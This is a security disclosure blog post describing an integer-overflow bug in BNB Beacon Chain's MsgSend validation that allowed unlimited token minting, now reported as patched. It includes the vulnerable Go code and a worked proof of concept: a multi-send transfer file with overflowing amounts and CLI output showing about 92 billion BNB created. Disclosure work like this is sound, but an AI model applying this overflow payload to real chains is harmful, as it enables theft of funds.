Helping Secure BNB Chain Through Responsible Disclosure

Introduction

In this blog post, we describe a vulnerability we discovered in the BNB Beacon Chain, the governance and staking layer of BNB Chain. The issue would have allowed an attacker to mint an infinite number of arbitrary tokens on the BNB chain, potentially leading to a large loss of funds. We privately disclosed the issue to the BNB team, which developed and deployed a patch in less than 24 hours. Thanks to this effort, no malicious exploitation took place, and no funds were lost.

In a somewhat novel architecture, BNB Chain is composed of two blockchains: The EVM compatible Smart Chain (BSC), which is based on a fork of go-ethereum and the Beacon Chain (BC), built on top of Tendermint and Cosmos SDK.

Interestingly, the Beacon Chain does not follow the upstream version of Cosmos SDK but uses a BNB fork hosted on GitHub. This forked version contains several BNB-specific changes. It deviates from the Cosmos SDK upstream in several ways, motivating us to take extra care in reviewing the differences.

Technical Details

To understand the vulnerability, we first need to introduce two fundamental building blocks of Cosmos SDK-based blockchains: Messages and Coins.

Messages are the primary way Clients interact with a Cosmos chain. Modules, which are responsible for the business logic of the chain, can define their own message types and handlers to perform state transitions. In addition to application-specific message types (like BNB’s [BurnMsg]), the Cosmos SDK provides several core modules that define message types for functionality such as transferring funds ([MsgSend]) or delegating stake (MsgDelegate). Any Client can submit these messages as part of a transaction, so ensuring that message handlers correctly deal with malicious inputs is a fundamental part of reviewing any Cosmos-based blockchain.

A Coin is the data type used by Cosmos SDK to handle assets. Coins hold a certain amount of a specific currency, and the BNB Cosmos fork uses the following definition:

// Coin hold some amount of one currency
type Coin struct {
	Denom  string `json:"denom"`
	Amount int64  `json:"amount"`
}

From a security perspective, securely interacting with the Coin type is quite difficult. The Amount field is signed, which means it can contain negative numbers. In addition, int64 is a Golang primitive that can silently over- and underflow when used in calculations. Even more interesting is the deviation between the BNB fork and the upstream Cosmos SDK for this type. While upstream still supports negative values in the Amount field, it uses a safe bigInt wrapper instead of int64, protecting applications from unexpected over- and underflows.

Searching for message handlers that are at risk due to this behavior quickly led us to the MsgSend type that is part of the standard x/bank module:

//https://github.com/bnb-chain/bnc-cosmos-sdk/blob/6979480679f6c4980aa5a5ac11ce874f54f2a927/x/bank/msgs.go
// MsgSend - high level transaction of the coin module
type MsgSend struct {
	Inputs  []Input  `json:"inputs"`
	Outputs []Output `json:"outputs"`
}

// Transaction Input
type Input struct {
	Address sdk.AccAddress `json:"address"`
	Coins   sdk.Coins      `json:"coins"`
}

// Transaction Output
type Output struct {
	Address sdk.AccAddress `json:"address"`
	Coins   sdk.Coins      `json:"coins"`
}

// Coins is a set of Coin, one per currency
type Coins []Coin

While MsgSend is often used for simple 1-to-1 token transfers between two accounts, it supports a more generic form of multi-party transfers with the Inputs and Outputs arrays. The Inputs array consists of a list of sender addresses and the assets they want to transfer, and the Outputs array contains the destination addresses and the assets they should receive.

To not allow trivial theft of funds or malicious minting of new assets, the MsgSend message handler needs to enforce several invariants:

All accounts listed in the Inputs array need to sign the transaction. This is enforced as part of the normal Cosmos signature verification flow using the GetSigners() method:

// Implements Msg.
func (msg MsgSend) GetSigners() []sdk.AccAddress {
	addrs := make([]sdk.AccAddress, len(msg.Inputs))
	for i, in := range msg.Inputs {
		addrs[i] = in.Address
	}
	return addrs
}

All Coin amounts specified in the Inputs and Outputs arrays need to be positive, as a transfer of a negative amount could be used to steal funds from a recipient. This verification is handled as part of the ValidateBasic() method of the two types:

// ValidateBasic - validate transaction input
func (in Input) ValidateBasic() sdk.Error {
	if len(in.Address) != sdk.AddrLen {
		return sdk.ErrInvalidAddress(in.Address.String())
	}
	if !in.Coins.IsValid() {
		return sdk.ErrInvalidCoins(in.Coins.String())
	}
	if !in.Coins.IsPositive() {
		return sdk.ErrInvalidCoins(in.Coins.String())
	}
	return nil
}

// ValidateBasic - validate transaction output
func (out Output) ValidateBasic() sdk.Error {
	if len(out.Address) != sdk.AddrLen {
		return sdk.ErrInvalidAddress(out.Address.String())
	}
	if !out.Coins.IsValid() {
		return sdk.ErrInvalidCoins(out.Coins.String())
	}
	if !out.Coins.IsPositive() {
		return sdk.ErrInvalidCoins(out.Coins.String())
	}
	return nil
}

Finally, the number of Input tokens needs to be equivalent to the number of Output tokens. This has to be checked early in the message handling as the code responsible for the actual transfer of the funds subtracts the Input tokens from the Sender accounts and adds the Output tokens to the receiving ones. While the code ensures that the Sender has the assets they want to transfer, it does not verify that the Outputs array doesn’t create tokens out of thin air.

Instead, this check is done as part of the ValidateBasic() method of MsgSend:

// Implements Msg.
func (msg MsgSend) ValidateBasic() sdk.Error {
	[..]
	// make sure all inputs and outputs are individually valid
	var totalIn, totalOut sdk.Coins
	for _, in := range msg.Inputs {
		if err := in.ValidateBasic(); err != nil {
			return err.TraceSDK("")
		}
		totalIn = totalIn.Plus(in.Coins) // (A)
	}
	for _, out := range msg.Outputs {
		if err := out.ValidateBasic(); err != nil {
			return err.TraceSDK("")
		}
		totalOut = totalOut.Plus(out.Coins) // (B)
	}
	// make sure inputs and outputs match
	if !totalIn.IsEqual(totalOut) { 
		return sdk.ErrInvalidCoins(totalIn.String()).TraceSDK("inputs and outputs don't match")
	}
	return nil
}

The code loops over the input array and sums up all Coins arrays in the totalIn variable; it then does the same for the output array and stores the result in totalOut. Validation is only successful if both sums are equal. in.Coins and out.Coins are each of type sdk.Coins, which is an array of Coin entries for different currencies. For the simplest case, where we only deal with a single currency, the Plus method calls in (A) and (B) boil down to the Coin.Plus method as shown below:

// Adds amounts of two coins with same denom
func (coin Coin) Plus(coinB Coin) Coin {
	if !coin.SameDenomAs(coinB) {
		return coin
	}
	return Coin{coin.Denom, coin.Amount + coinB.Amount}
}

The method adds the two Amount fields, not checking for potential overflows. This makes bypassing the totalIn == totalOut check straightforward by triggering an integer overflow in the totalOut calculation.

An example transfer that exploits this issue to “mint” an almost unlimited amount of BNB tokens via a malicious transfer is shown below: Adding the three output amount fields results in the value 0x10000000000000001, which is too large to fit into a 64bit variable and will overflow to 1. This means that the destination accounts can receive a much larger number of BNB tokens than the sender provided:

$ # Sender Account
$ bnbcli account bnb1sdg96khysz899gjhucmep6as8zh6zam4u6j6c3 --chain-id=${chainId} | jq ".value.base.coins"
[
  { // dev0
    "denom": "BNB",
    "amount": "100000060"
  }
]
$ # Destination Account does not exist yet
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
ERROR: No account with address bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp was found in the state.
$ # Transfer details to trigger the overflow
$ cat transfer.json 
[
   {
      "to":"bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp",
      "amount":"9223372036854775000:BNB"
   },
   {
      "to":"bnb1a8p35jlfzz7td4tljcrpfw3gv9z48ady6l248d",
      "amount":"9223372036854775000:BNB"
   },
   { 
	   "to":"bnb1dl0x933432der5rnafk4037dwtk8rzmh59jv2h",
	   "amount": "1617:BNB" }
]
$ # Send the transfer
$ bnbcli token multi-send --chain-id=${chainId} --from dev0 --transfers-file transfer.json 
Password to sign with 'dev0':
Committed at block 17449

$ # Destination account now has ~92 billion BNB tokens
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
[
  {
    "denom": "BNB",
    "amount": "9223372036854775000"
  }
]

The BNB team fixed the issue, by switching to overflow resistant arithmetic methods for the sdk.Coin type. After the patch, an overflow in the Coin calculation will cause a golang panic and a transaction failure.

Parting Thoughts

Bugs that allow infinite minting of native assets are some of the most critical vulnerabilities in web3. As such, this finding is proof that we all must stay vigilant and collaborate to elevate security assurances across all projects.

At Jump Crypto, we believe in the promise of web3 and are working hard to build and foster safer, scalable and useful systems in the space. That’s why, over the past year, we’ve been building up a dedicated security team working around the clock conducting core research, and are working with teams to strengthen the security of the entire ecosystem.